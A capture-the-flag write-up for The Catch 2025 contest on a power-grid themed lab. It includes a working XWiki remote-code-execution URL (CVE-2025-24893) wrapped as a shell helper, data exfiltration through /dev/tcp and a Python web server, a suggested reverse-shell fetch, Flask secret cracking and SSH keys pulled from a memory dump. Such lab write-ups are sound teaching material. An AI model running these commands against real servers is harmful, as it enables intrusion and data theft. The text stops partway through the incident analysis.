The Catch is (my favorite) yearly capture the flag contest, that happens every October. This year, the highlight for me was probably the series of five challenges in FALCON. Integrating a "hackable" turret with a live stream of its robotic arm and laser was a nice touch. If that's something you are interested in, keep on reading.
This year I focused on the challenges in just two categories: Incident analysis (3 challenges) and FALCON (5 challenges) – all these challenges' solutions are described in this document. In the end I ranked 31st with 35 points (out of 58).
For some of the remaining ones I only did some initial exploration, but did not progress further due to lack of time. As of writing, I wonder how far the initial ideas are from the intended solution (see below for my notes); if interested in solutions, see others' writeups. I am looking forward to reading those, once published.
I would like to thank the organizers for keeping this CTF fresh with unique challenges!
Solved challenges:
- The story
- Introduction (0 points)
- Promotion (0 points)
- Charge Point Academy
- VPN test (1 point)
- Void foundry (1 point)
- Reactor Startup (1 point)
- Sunday expansion pack (1 point)
- FALCON
- Chapter 1: Operator (2 points)
- Chapter 2: The Vendor (2 points)
- Chapter 3: Open the door (5 points)
- Chapter 4: Is not free (5 points)
- Chapter 5: Hits (5 points)
- Incident analysis
- Inaccessible backup (3 points)
- Threatening message (4 points)
- Suspicious communication (5 points)
Unsolved challenges:
- Internal systems
- Sensor array (2 points)
- Print server (3 points)
- Gridwatch (3 points)
- Temporary webmail (3 points)
- New services
- Single Sign-on (3 points)
- Role Management System (4 points)
- Webhosting (5 points)
This year was power grid-themed. The challenges loosely related to (read: were inspired by) power plants or similar tech.
The "challenges" in The story section do not require any technical skills – they only serve to tell the background story.
Hi, promising candidate,
the TCC Powergrid company is facing a serious crisis and needs every helping cyber-hand. Watch the TV news and, if you too can help and you are interested to become Emergency troubleshooter in TCC Power Grid Ltd., enter the recruitment code.
Stay grounded!
Watch/download the TCC News.
The video contains a screen with the following flag:
FALG{JUST-RUSH-JOIN-TEAM}
(this gets unlocked after finishing the challenges in the Charge Point Academy section below)
Hi, trainee,
the grid needs guardians who can think fast, break barriers, and patch vulnerabilities before dawn. We believe you’re ready to level up and join the ranks of emergency troubleshooters.
Do you accept this promotion and pledge to work hard and shartp to keep the lights on at TCC Powergrid, Ltd.? When you are ready for the next round of challenges enter the code FLAG{PpGh-tpeY-39Rc-l420}.
Stay grounded!
We can just copy-paste the flag:
FLAG{PpGh-tpeY-39Rc-l420}
This is a set of simpler tasks to ensure everything works, and warm up the brain.
Hi, trainee,
nobody can work secure without VPN. You have to install and configure OpenVPN properly. Configuration file can be downloaded from CTFd's link VPN. Your task is to activate VPN, visit the testing pages, and get your code proving your IPv4 and IPv6 readiness.
Stay grounded!
- IPv4 testing page is available at http://volt.powergrid.tcc.
- IPv6 testing page is available at http://ampere.powergrid.tcc.
If everything works well, we just connect to the VPN and visit both sites (one is IPv4-only, the other one is IPv6-only). Each of the sites contains a half of the flag.
FLAG{mkuV-TEnW-slYz-TFnx}
Note: macOS's DNS resolver is still buggy (see my troubleshooting attempts in the last year's writeup). The VPN tools Tunnelblick and OpenVPN did connect to the VPN but resolving IPv6 addresses did not work. Last year I used the VPN app Viscosity, which somehow worked, but my trial period already expired. Therefore, whenever an IPv6-only service was encountered in the following challenges, I either switched to a Kali Linux, or just worked-around the broken resolver by querying the IPv6 address, e.g.:
dig AAAA @10.99.0.1 ampere.powergrid.tcc
;; ANSWER SECTION:
ampere.powergrid.tcc. 60 IN AAAA 2001:db8:7cc::25:10
and connecting to it manually it manually, e.g.:
curl http://ampere.powergrid.tcc --resolve ampere.powergrid.tcc:80:2001:db8:7cc::25:10
Hi, trainee,
since the TV report about our new elementary particle factory was broadcast, we have recorded several strange external intrusions. We suspect this may be connected — check it out.
Stay grounded!
Watch/download the TCC News
On one of the "slides" in the video, there is a URL and login details:
- http://voidfoundry.powergrid.tcc/
- login: void
- password /dev/null
After logging in the flag is shown:
FLAG{hvY2-tPOu-sze9-Xx5h}
Hi, trainee,
normally, this task would be assigned to a senior worker, but none are available now, so your mission will be to start the shut-down reactor at the Granite Peak Nuclear as quickly as possible — by following the startup checklist and entering the sequence step by step. However, we have a big problem: the standard items (e.g., "primary circuit leak test") have somehow been renamed to nonsense by some cat-holic. Only the first item, Initiate Control Circuits, and the last one, Phase the Power Plant, remain unchanged.
The radiation situation at Granite Peak Nuclear remains normal.
Stay grounded!
Interface for starting sequence is at http://gpn.powergrid.tcc/
We are supposed to enter the startup commands in the correct order, only the first and last are known.
When entering a command out-of-order, the system prints a message like
Error: Invalid sequence. Item 'Prime Yarn-Ball Cooling Fans' missing. System reset.
that hints at the missing operation – the command that we were supposed to call next. Sadly this resets the commands entry so we have to start from scratch.
I wrote a simple, ugly bash script automate sending the known sequence and to append the missing command to the known list:
#!/bin/bash
req() {
# copied cURL command from web browser (and simplified) and put the first argument ($1) into --data-raw
curl 'http://gpn.powergrid.tcc/' \
-b 'PHPSESSID=71030828ab213e9533cb8a16376cef9a' \
-H 'Origin: http://gpn.powergrid.tcc' \
-H 'Referer: http://gpn.powergrid.tcc/' \
--data-raw "$1" \
--insecure -L -q > reactor_startup.tmp
}
reset() {
req "reset=1"
}
c() {
cmd=$(echo "$1"|tr ' ' '+')
req "command=$cmd"
}
reset
# foreach command
cat reactor_startup_commands.txt reactor_startup_command_last.txt | while read line
do
echo " --- $line --- "
# send the command, show response, filter response
o="$(c "$line"; cat reactor_startup.tmp | grep --color -B 1 'class="console"')"
echo output: "$o"
if echo "$o" | grep 'Error: Invalid sequence. Item .* missing. System reset.'; then
# missing a command -> append it to the command list
echo "$o" | sed -n 's/.*Item '\(.*\)' missing. System reset.*/\1/p' >> reactor_startup_commands.txt
exit 123
fi
done
primed reactor_startup_commands.txt with the known commands from manual experimentation, and reactor_startup_command_last.txt with the last command Phase the Power Plant.
Then I just re-ran the command a few times until no more errors showed up. For some reason (not investigated, possibly related to using hardcoded/static cookie copied from a web browser rather than saving actual cookies) I did not get the flag (or accidentally filtered it). But entering the command sequence once manually in a web browser worked fine and I was provided with the flag.
Initiate Control Circuits
Deploy Whisker Sensor Array
Initiate Cuddle-Heat Exchanger
Prime Catnap Capacitor Bank
Prime Yarn-Ball Cooling Fans
Calibrate Scratch-Post Stabilizer
Enable Laser Pointer Control Panel
Trigger Kibble Fuel Injector
Ignite Catnip Combustion Chamber
Initiate Snuggle Containment Field
Mobilize Paw-Kneading Rhythm Generator
Enable Fur-Static Charge Collector
Calibrate Milk Valve Regulator
Enable Cuddle-Grid Synchronizer
Deploy Nap-Time Auto-Shutdown Relay
Trigger Paw-Print Main Breaker
Deploy Grooming Station
Initiate Meow Frequency Modulator
Tune Purr Resonance Chamber
Engage Harmony Purr Amplifier
Prime Purr Frequency Equalizer
Check Purr-to-Volt Converter Coils
Phase the Power Plant
FLAG{WuYg-ynFt-US0N-ZYv9}
btw. some of the steps like Mobilize Paw-Kneading Rhythm Generator, Deploy Nap-Time Auto-Shutdown Relay and Initiate Meow Frequency Modulator are real gems 😹
Hi, trainee,
unlock the secrets of regular expressions - a must for mastering the powergrid! Last Sunday, The Null Hypothesis Herald featured a crossword supplement where you can easily test your skills.
Stay grounded!
We get a regular expression crossword puzzle to solve.

http://regex-overlordxx.powergrid.tcc/
This series of challenges consists of a short backstory about a guy protecting solar panel farms from birds, using a "RoostGuard" deterrent device. He wants to reverse-engineer it and replicate it.
Each of the challenges starts with an AI-generated image (without an embedded prompt string), a haiku (which may provide a hint), and a URL.
All five challenges contain a generic task description:
Hi, emergency troubleshooter,
recent studies suggest that the intense heat and hard labor of solar technicians often trigger strange, vivid dreams about the future of energetics. Over the past few days, technicians have woken up night after night with the same terrifying screams "Look, up in the sky! It’s a bird! It’s a plane! It’s Superman! Let’s roast it anyway!".
Find out what’s going on, we need our technicians to stay sane.
Stay grounded!
The challenges were solved in this order: 2, 1, 4, 3, 5
Soft winds gently blow,
answers drift through open minds—
ease lives in the search.
The haiku does not tell us much, but we can start exploring the webapp. It looks pretty barebones – the main page with a title RoostGuard Controller and an error Unauthorized access prohibited. The only item in the navigation bar is Login (/login) which shows a Challenge string (12 characters of what appears to be "URL-safe" base64, changing after every page reload) and a passcode textfield and a Login button below. Is this what we are supposed to overcome? (Spoiler: not in this challenge).
To gather more information, we look at the page source and headers for some hints. We notice two suspicious (higher entropy) pieces of information:
- the HTML
<head>contains<meta name="csrf-token" content="ImQyYzM3MjM3ODM2OGQ4MjcyYjYxMWI2OTllY2NkY2Q3MDI0NmJjMDki.aOrjDA.SA9-nab4LOWalx13h4Bd2ESiIYY">. The value changes with every reload, but if two requests are made shortly after each other (and are not blocked by server's rate limiting), the tokens are identical. - Also, there is a session cookie (
session=poZMbVZvgTe0FprFZ0PcCqRtmjYXy4bOAh5lF8E9aok, 43 bytes of base64, 32 bytes), but it does not seem to have any obvious structure. Concatenating a couple of these from different requests, decoding as a base64 string and computing (Shannon) entropy (~7.5) indicates that it is likely random, compressed or encrypted/hashed. Let's skip that for now.
We notice that the csrf-token consists of three parts, split by a dot:
ImQyYzM3MjM3ODM2OGQ4MjcyYjYxMWI2OTllY2NkY2Q3MDI0NmJjMDki, which is "URL-safe" base64 for"d2c372378368d8272b611b699eccdcd70246bc09", a string of 40 lowercase hexadecimal characters in quotes, which appears to be "random" (no visible structure across multiple requests). An initial guess is that it may be a hash, or perhaps just random data. Concatenating the decoded hexadecimal strings from 10 different requests, converting from hex and computing the entropy yields ~6.7, so it's slightly less random than the session cookie, but maybe it's just a coincidence.aOrjDA, four bytes, which only increase with each request. It seems to be a timestamp, because it increases by one every second. Decoding it as a big-endian integer indeed gives us current UNIX timestamp.SA9-nab4LOWalx13h4Bd2ESiIYYwhich decodes to apparently random (high entropy) 20 bytes, perhaps an SHA-1 digest, judging by the length.
The token first appeared to be JWT (RFC 7519), but after failing to decode it as such, and remembering a challenge Social Network from The Catch 2021, it appears to be a Flask session cookie.
Following e.g. https://www.bordergate.co.uk/flask-session-cookies/ we learn it serves as non-tamperable storage on the client side, typically for storing session information. The first part is a message/"payload", the second part is indeed a timestamp and the third part is a HMAC (a hash function extension that requires a key). Note that the article talks about a Flask session cookie and here we see it as a CSRF token (not a cookie, which appears to be random), but the format seems to be the same. We also learn that there is a tool flask-unsign which tries to brute-force the key (using a wordlist). We could use that, or hashcat (first testing with a dummy session cookie with the key "CHANGEME"):
flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
or with GPU support:
hashcat -d 1 -w 4 -m 29100 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' Top29Million-probable-v2.txt.gz
Both test cases succeed, so we try cracking the key used in the real token. But both commands fail with the real token. When the flask-unsign is installed with pip3 install flask-unsign[wordlist], it even contains a wordlist of known default secret keys, or those leaked on GitHub etc. But sadly we don't get a match even with these.
Even generic wordlists or a short custom wordlist with various rule-lists, or few-character brute-force (each computable within a few minutes on a laptop GPU) did not succeed, so the secret key is probably too long to crack. Perhaps we would need a more focused wordlist and rules. We can revisit it later, if other attempts fail.
We return to the webapp exploration. Scanning the webapp for common paths with dirb http://roostguard.falcon.powergrid.tcc/ finds a few interesting URLs:
/command– GET request is rejected with Method Not Allowed. This may be interesting later, though./logout– just a redirect to/loginand seemingly does nothing else (perhaps invalidates a logged in session, which we don't have (yet?))./operator– a control interface: a HLS video stream from a webcam capturing a "robotic laser" (horizontal and vertical servo or stepper motors with a laser pointer attached) pointing at a 5x5 grid of Greek letters, and a 2x16 character LCD screen. There are some controls next to the video – more on that later./stats– a JSON object like"{"queue_all_players":0,"queue_this_session":0}", presumably to show how busy the system is.- it also detects the known
/loginand a few false positives like/login[something]– likely just a request routing issue
Let's look at /operator in more depth. There is a dropdown with options Random password, Firmware version and Fire, and a Send button, which sends a POST request to the /command (command= followed by PASS, VERS, or FIRE0000). The first two have a visible impact on the stream: "Random password" shows e.g. > PASS RLKO0or4, or > PASS GBarGa6e, and the Firmware version command shows > VERS v0.9 on the first line and Licence a6dbacc5. The Fire command is denied with authentication required.
Inspecting the source code of /operator, there is one more Form input (commented-out), which includes the flag:
<!-- debug only <div class="form-group"> <label for="raw\_command">Raw command</label> <input type="text" class="form-control" id="raw\_command" name="raw\_command" placeholder="FLAG{AjQ6-NgLU-lQT7-XePG}"> </div> -->
This challenge's goal was to figure out how to send commands to the turret. The raw_command will probably have a significance for Chapter 3 or Chapter 5, but not for now. (spoiler alert: Chapter 5 is based around sending custom FIRE commands.)
Bits beneath the shell,
silent thief in circuits' sleep—
firmware leaves the nest.
We are given an URL of a wiki (XWiki). The haiku hints at shell so there might be some command execution involved. Perhaps "silent thief in circuits' sleep" hints at a vulnerability. (Spoiler: the "firmware leaves the nest" feels a bit misleading as no firmware is involved yet.)
Googling for any "lucky" vulnerabilities leads us to a recently discovered unauthenticated remote code execution (PoC: https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py)
We copy the URL from the PoC script to verify we can read /etc/passwd
http://thevendor.falcon.powergrid.tcc/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
Indeed, we get the file contents, impacted by some escaping/formatting.
For simpler experimentation, we can define a few bash functions (escaping spaces in the command and removing the extra fluff and improving readability) to abstract running the exploit:
r() { curl -qs 'http://thevendor.falcon.powergrid.tcc/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22'"$(echo "$1"|sed 's/ /%20/g')"'%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d' |cleanup; }
cleanup() { sed 's/.\*RSS feed for search on \\\[\\}\\}\\}//; s,\]</description><br/> .\*,,; s,<br/>,\\n,g; s, \\;, ,g'; echo; }
then we can just use it as:
$ r "cat /etc/passwd"
Note that the output is still partially garbled due to the formatting applied by XWiki, but we can live with that. Similarly, our commands are not properly encoded (just replacing spaces with "%20"). We could encode the output (and the input command) properly (there is awk+sed, xxd and openssl installed), or try establishing a reverse shell, but this turned out to be sufficient for this challenge.
Exploring the accessible files does not reveal anything immediately interesting, but the environment does contain the FLAG variable:
FLAG{gwNd-0Klr-lsMW-YgZU}
Old lock greets the key,
rusted hinges sing once more—
new paths breathe the fire.
(yes, that is the same URL as in Chapter 1, indicating that we should dig deeper in the same webapp)
The haiku suggests this is the part where we log in.
The login form at /login has a challenge code and requires a passcode. Based on the firmware analysis from Chapter 4 we know it implements HOTP and there is a HOTP command, which would fit nicely.
The Random password command in the /operator sends command=PASS, which gets handled by the microcontroller. Let's assume We know that FIRE is blocked, but trying command=HOTP we get a response from the server {"message":"processed"}.
After a few tries (trying a few ways how the challenge string is sent to the HOTP command) we converge to this:
$ curl 'http://roostguard.falcon.powergrid.tcc/command' -H 'X-CSRFToken: ImQyYzM3MjM3ODM2OGQ4MjcyYjYxMWI2OTllY2NkY2Q3MDI0NmJjMDki.aQRnug.9JXpZt2hbtwOHgJyBivMQoyFe5I' -b 'session=0vl1I3G9pIDBJtsh4x5ivDs1J4vG9\_s9lxHQrmYlg60' --data-raw 'command=HOTPqqHRctnUHQj8' --insecure
{"message":"processed"}
After a few seconds, the display in the live stream shows our challenge code a 6-digit code that we enter in the login form. The code is accepted and we are greeted by the FLAG.
Note: This challenge felt a bit easy for a 5-point challenge, perhaps because most of the work is done in Chapter 4.
Respect the craft’s birth,
Code is earned, not taken swift—
Licence guards its worth.
(Again, the base URL is the same as in Chapter 2. The fragment #firmware does not seem to have a corresponding id on the target wiki page, so we should probably use the previously obtained shell command execution.)
- "Respect the craft’s birth" – back to basics = programming on bare metal?
- "Code is earned, not taken swift" – either because getting the firmware file is difficult, or because reversing/understanding it is.
- "Licence guards its worth" – we should look into the licensing to get the flag?
It seems the goal of this challenge is to get the firmware from the server and analyze its "licencing".
We have the shell execution from Chapter 2, so let's explore the machine some more.
We browse through the filesystem (ls /) and notice there is /data and /data/firmware – probably what we want to download. We also check the server's IP address (from ip a) is reachable from our machine over the VPN.
We check the available tools on the server by ls of each directory in $PATH to see which tool could be used to exfiltrate firmware. The typical "go-to" TCP server+client netcat/nc is not available so we need an alternative way to exfiltrate files. openssl s_client -connect $host:$port is one alternative (we tested that reaches our computer on the VPN, or Bash's built-in /dev/tcp/$host/$port pseudo-file (untested). Let's test that.
# convenience functions from Chapter 2
cleanup() { sed 's/.*RSS feed for search on \[\}\}\}//; s,]</description><br/> .*,,; s,<br/>,\n,g; s, \;, ,g'; echo; }
r() { curl -qs 'http://thevendor.falcon.powergrid.tcc/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22'"$(echo "$1"|sed 's/ /%20/g')"'%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d' |cleanup; }
# actual code execution
r 'bash -c "echo test > /dev/tcp/10.200.0.62/1337"'
The command fails: the redirection operator > seems to confuse the server (javax.servlet.ServletException: Invalid URL). Perhaps it would just need to be encoded so let's do the encoding properly this time. The server has the base64 utility, which we can use to encode/decode our command, and even the output – we could theoretically run something like bash -c "echo B64_encoded_cmd|base64 -d|bash|base64". But as escaping special characters (" and |) in this command without proper debugging on where the command is failing (URL encode, Groovy's execution, or Bash?), we downgraded our requirements from a full remote shell to just data exfiltration. Since Python is installed there, we can start its built-in webserver with r 'python3 -m http.server -d /', then connect to it http://10.99.25.152:8000/ and browse to /data/firmware. Because there is index.html in that folder, masking Python's directory listing, we need to specify the exact file names, which we know from a previous ls /data/firmware.
We get 4 files:
- 3x .lol, which are JPEG photographs of the hardware setup (Arduino and servo- or stepper motors + ...)
- and mainly
roostguard-firmware-0.9.bin. Thefilecommand reports:ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, with debug_info, not strippedso it seems to be the firmware that is running on the microcontroller.
We can then kill the webserver (ps aux" and "kill [pid of our Python server]) to avoid leaking this idea to other participants :-)
(When polishing this writeup I thought of another solution: maybe something simple like r 'cp /dev/tcp/10.200.0.62/1338 /tmp/something.sh' (assuming 10.200.0.62 is our IP with a TCP server on port 1338 serving an arbitrary script like a reverse shell) followed by r 'sh /tmp/something.sh' would work, because no special characters are involved in the commands.)
Looking at the strings in the firmware file does not easily reveal any flag, but we see a few more likely commands (or rather the text that gets shown on the display, except for the last one):
>VERS– We already know this is the string (followed by the version and license info) printed when theVERScommand is sent.>PASS %s– This is probably the random password (the %s is probably just the printed string, not an argument of the command)>TEXT%s– printing any text on the display?>LASE%c– turning the laser on/off?>TURR%c– ?>DISC %s– ?>DEMO %d– ?>ZERO– aim at the center?>AIMM %d %d– aiming at a specific position?HOTP– ?
There is also a suspicious hexadecimal string 54687265654c6974746c654269726473, which decodes to ThreeLittleBirds. This may be useful later.
We also see licence-related function names. The function names are:
_Z8licence1c
_Z8licence2PKcPhj
_Z8licence3PKhi
_Z8licence4Phi
_Z8licence5PKhj
which "demangle" to the following, revealing their input types:
licence1(char)
licence2(char const*, unsigned char*, unsigned int)
licence3(unsigned char const*, int)
licence4(unsigned char*, int)
licence5(unsigned char const*, unsigned int)
Let's open the firmware in Ghidra to understand it better.
- The hexadecimal string
54687265654c6974746c654269726473(ASCII: ThreeLittleBirds) is in .data and labeledvalidator. licence1seems to decode a hexadecimal character to its integer valuelicence2seems to calllicence1on a hexadecimal string (first arg, with length given in the third arg), decoding each pair of "nibbles" into a byte and saving the result (half length) into memory pointed to by the second arglicence3andlicence4do some (de)obfuscation (XORs, table lookups); while these are the critical parts of the "licensing", we do not need to fully understand them to solve this challenge :Dlicence5appears to be a CRC32 checksum (it has a loop checking if a bit is odd/even, and by the known constant: polynomial that CRC32 uses)- The
licence2-5are called sequentially inprocessVERSCommand,licence2's input is the "validator" hexadecimal string
Idea/hypothesis: on VERS command, a secret licensing string is computed and then its checksum is computed and displayed. If we could read the intermediate information, we might get the flag.
We first tried to convert the disassembled code into its C equivalent and compile it, but I struggled with inaccuracies of automatic tools (Ghidra's output verbosity and "pseudocodeness" and even LLM-chatbot's hallucinations), and gave up after a while of manual attempts to re-implement and debug licence3 based on the disassembly. It is certainly doable and the functions are not that long, but it's an error-prone process and my brain did not feel like remembering the calling convention and even register names and usage.
Failing that, we resorted to dynamic analysis – running the code in a simulator (Atmel Studio, installed inside Windows Sandbox). (Disclaimer: I only briefly used Atmel Studio almost 10 years ago so I am quite rusty. The version 7.0.1417 I used from is around that time.)
It ships with a toolchain, which we can use to get a disassembly (outside of Ghidra).
PS C:\Program Files (x86)\Atmel\Studio\7.0\toolchain\avr8\avr8-gnu-toolchain\avr\bin> .\objdump.exe -S C:\Users\WDAGUtilityAccount\Desktop\sandbox\roostguard-firmware-0.9.bin > roostguard-firmware-0.9.disass.txt
Looking at the disassembly and considering our hypothesis about the FLAG being somehow processed in the VERS command, we get an idea: break before calling the serialThread, jump to processVERSCommand, and inspect memory changes around calling licence[1-5] functions
00002d60 <_Z12serialThreadP2pt.constprop.4>:
-> this is the serial handling function - we will want to break at 0x2d60
31aa: 0e 94 b0 16 call 0x2d60 ; 0x2d60 <_Z12serialThreadP2pt.constprop.4>
-> this is where it is called
The AVR Studio supports simulating and debugging already compiled code so we can rename .bin to .elf, then load it in Atmel Studio with File > Open > Open Object File for Debugging, and select AtMega328P. Then clicking the "step into" button (select Simulator if needed) starts the execution and pauses at the first instruction so we can inspect the memory and place breakpoints.
The main function is at 0x2f8a in the disassembly, we can set a breakpoint at 0x2f8a,prog and successfully end up there when pressing Continue.
But running further gets stuck in a loop – possibly in attempts to initialize hardware that is not attached, or waiting for a non-existent peripheral like UART to acknowledge sending a byte... We tried escaping the loop by forcing the following jump (dragging the yellow arrow pointing at the current instruction)
00000580 BRNE PC+0x02
00000294 BRCS PC-0x0F Branch if carry set
but then got stuck elsewhere.
In any case we will need to jump to the interesting function
00002b3a <_Z18processVERSCommandv>:
~ corresponds to the address "0x2B3A,prog" in Atmel Studio
while we can drag the yellow arrow to move the program counter, dragging it too far is tedious. And the PC value in System Registers in the Autos window appears to be read-only.
We can modify/"crack" the program by putting a jump to the _Z18processVERSCommandv's address or rather "call 0x2b3a" at the beginning of the main function. That translates to replacing 84b58260 with 0e949d15 with a hex editor. Note that the jmp/call instruction's argument is little endian of half of the target address, because AFAIK the AVR CPU can only decode instructions at even (or odd?) addresses and storing the extra bit would be wasteful. After modifying, we open the new binary in Atmel Studio.
To verify everything works, we break at 0x02ada,prog (licence2), step out, then inspect memory. Indeed, there is a string ThreeLittleBirds at 0x0578,data.
Stepping over the following calls (licence3, and maybe even 4?, before licence5) while looking at the memory, at 0x055C,data we observe the wanted string
FLAG{KfcP-HeZQ-luKY-mIxB}.
The CRC-32 checksum of FLAG{KfcP-HeZQ-luKY-mIxB} is a6dbacc5, which matches the string Licence a6dbacc5 we saw earlier printed on the LCD in the livestream when the VERS command is called. This confirms our earlier assessment/assumptions about the purpose of licence1-5 functions from the static analysis.
(If the licensing is meant to be reliable, it can't be implemented purely in software that we can read and modify. Even if that makes RMS and many other software freedom enthusiasts sad, that's why mainstream DRM schemes rely on "trusted" hardware with often unique per-device secrets/keys that even the OS verifiably cannot have access to (see attestation). These schemes also cause some issues regarding privacy and security, which require special solutions. It's an interesting rabbit hole for exploration, although the relative unavailability of learning materials about practical implementations can be a bit frustrating...)
Silent shields arise,
code weaving unseen barriers—
guardians without sleep.
http://roostguard.falcon.powergrid.tcc/ (same as previously)
After logging in (in Chapter 3), we unlocked the FIRE command, and a new option "FeatherScan" appeared in the navigation bar. It shows the same table with Greek characters with one cell highlighted, and text "Hits: 0" above the table. Let's assume we are supposed to hit the highlighted cell.
When issuing a FIRE0000 (default) command, the turret on the live stream acknowledges it by briefly showing FIRE and a part of our session cookie, aiming at the given position (probably sending the AIMM command to the microcontroller) and firing the laser (probably LASE command).
First, to explore the arguments of the FIRE command, let's try a few values. To send a custom command, we copy the request (from the web browser's inspector -> Network, POST /command -> Copy request as cURL command), and modify the POST data before running the command in terminal:
command=FIRE0000: centercommand=FIRE2222: top rightcommand=FIRE0f0f: also top right???
How do we aim to the left or bottom?
To get more sense of this, we can look at the firmware again, specifically the turretAim function and its usage in the AIMM command. The function signature (demangled) is turretAim(int, int) – it takes two signed integers. Signed integers are often represented as two's complement.
In processAIMMcommand, the turretAim arguments come from the parse function, which uses licence1 (hexadecimal value decoding) to decode the hexadecimal coordinates and pass them to .
so let's verify that's the case here (and check if the which argument is horizontal position and which is vertical)
FIRE8080: left bottom
FIRE8000: left middle
FIRE7900: right mid
FIRE0079: center top
FIRE7979: right top
We know that positive x means right and positive y means up; negative x and y are left and down, respectively.
We just need to do a few more experiments with the range:
| code | x | y | letter |
|---|---|---|---|
| 0707 | +1 cell | +1 cell | Ι |
| f9f9 | -1 cell | -1 cell | Π |
| f90f | -1 cell | +2 cells | Β |
(There is also a valid coordinate value used in the DEMO command, which possibly aims at each corner, and a value clamp in the turretAim function – considering these would be possibly cleaner option of determining the range. But the brute-force solution worked well-enough.)
Knowing the range, we can finally reconstruct the coordinates for the whole table:
| y \ x | f2 | f9 | 00 | 07 | 0f |
|---|---|---|---|---|---|
| 0f | Α | Β | Γ | Δ | Ε |
| 07 | Ζ | Η | Θ | Ι | Κ |
| 00 | Λ | Μ | Ν | Ξ | |
| f9 | Ο | Π | Ρ | Σ | Τ |
| f2 | Υ | Φ | Χ | Ψ | Ω |
... for example Ψ would be (x,y)=(07,f2) so the command is FIRE07f2
Now we can fire at any cell/letter and when hitting the cell highlighted, the Hits counter increases.
$ curl 'http://roostguard.falcon.powergrid.tcc/command' -b 'session=0vl1I3G9pIDBJtsh4x5ivDs1J4vG9_s9lxHQrmYlg60' -H 'X-CSRFToken: ImQyYzM3MjM3ODM2OGQ4MjcyYjYxMWI2OTllY2NkY2Q3MDI0NmJjMDki.aQeKPg.QTOHsK2c-8F_SPdmy1-pOZuv7rQ' --data-raw 'command=FIREf9f2'
{"message":"processed"}
After repeating it a few more times (3x total), the flag appears below the Hits counter.
FLAG{dxOI-9Vrw-p4TK-DWuh}
The challenges are solved but the writeup is not very polished. Use at your own risk.
Hi, emergency troubleshooter,
One of our servers couldn’t withstand the surge of pure energy and burst into bright flames. It is backed up, but no one knows where and how the backups are stored. We only have a memory dump from an earlier investigation available. Find our backups as quickly as possible.
Stay grounded!
Access credentials to a backup server are lost.
We are given a memory dump from a machine that could access the backup server.
Disclaimer: this solution is rather low-tech and would probably fail with a larger dump. The proper way would be probably to use specialized tools for working with memory dumps (like Volatility), to know which memory page belongs to which process or OS's filesystem cache, etc.
Scrolling through the memdump (in a hex editor), searching for "backup" etc., we see some commands like "/usr/bin/rsync --delete -avz /var/www/html/ bkp@backup.powergrid.tcc:/zfs/backup/www/" (possibly from a script or .bash_history, or elsewhere; probably an in-memory cache of a file) – the "bkp@backup.powergrid.tcc" hints at an SSH connection to the backup server; likely with the username "bkp" an the latter hostname. We confirm the existence of the backup machine's hostname with "dig" (and ping etc.), and we get greeted by the SSH server after connecting to port 22 (default SSH port).
We just need to find login credentials.
The SSH private key stored in a file typically starts with "-----BEGIN [something] PRIVATE KEY-----". We find four such keys in the memdump.
We can try all of them manually, e.g. "$ ssh -i key4 bkp@backup.powergrid.tcc
bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8): No such file or directory
FLAG{VDg1-MfVg-LsJI-NOS4}
Connection to backup.powergrid.tcc closed."
Hi, emergency troubleshooter,
hurry to the SSD (Support Services Department) – they’ve received a threatening e-mail, probably from a recently dismissed employee. It threatens both the loss and the disclosure of our organization’s data. The situation needs to be investigated.
Stay grounded!
A machine has been compromised (ransomware and data exfiltration), "probably [by] a recently dismissed employee". We are given a Plaso image to analyze.
Note for The Catch organizers: I would appreciate a bit more details on the scope of "what is allowed" as this challenge involved connecting to a foreign machine and "brute-force" scanning for existing directories, which feels more "hands-on" (and exciting) than just analyzing logs.
The Plaso image is an SQLite file; the source_configuration/session table shows it was created by log2timeline.py, processing logs:
- a syslog (from container_app.img)
- an Apache access log (from container_proxy.img)
- a list of files and their creation-modification-access dates
- nfdata.log (firewall? TBD)
The user_account table lists (apart from apparently usual system users) three interesting ones:
- powergrid (uid 1000)
- powerguy (uid 1001)
- doublepower (uid 1002)
Looking at the Plaso image with sqlite3_analyzer, almost all data (number of bytes) is stored in three tables: "event" (38.5%), "event_data" (33.4%), "event_data_stream" (13.8%), and "event_source" (14.3%). Despite the size, the file does not seem to contain any file contents, just the metadata. It is meant to serve as a timeline, after all.
We can export the timeline to CSV so we can use familiar tools (grep etc.)
plaso-psort -o dynamic -w out.csv image.plaso
Things to look at:
- recent (file) activity before the threatening message was sent:
- some file changes before the encryption/exfiltration
- some artifacts of the commands the attacker ran?
- suspicious entries from the syslog like sudo COMMAND
- IP addresses + ports from the "nfdata"
- signs of data exfiltration?
- suspicious web activity from the Apache logs
Let's start with the (more or less) obvious: sudo commands
$ cat out.csv| sed -n 's/\([^,]*\).*COMMAND=\(.*\),text.*/\1 \2/p'
2025-08-25T08:06:25.896543+00:00 /usr/bin/su
2025-08-25T10:06:16.724091+00:00 /usr/bin/cat /etc/passwd
2025-08-25T10:06:20.218812+00:00 /usr/bin/passwd powergrid
2025-08-25T10:06:25.837620+00:00 /usr/bin/passwd powerguy
2025-08-25T10:06:34.250677+00:00 /usr/bin/cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
2025-08-25T10:06:37.548283+00:00 /usr/bin/sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
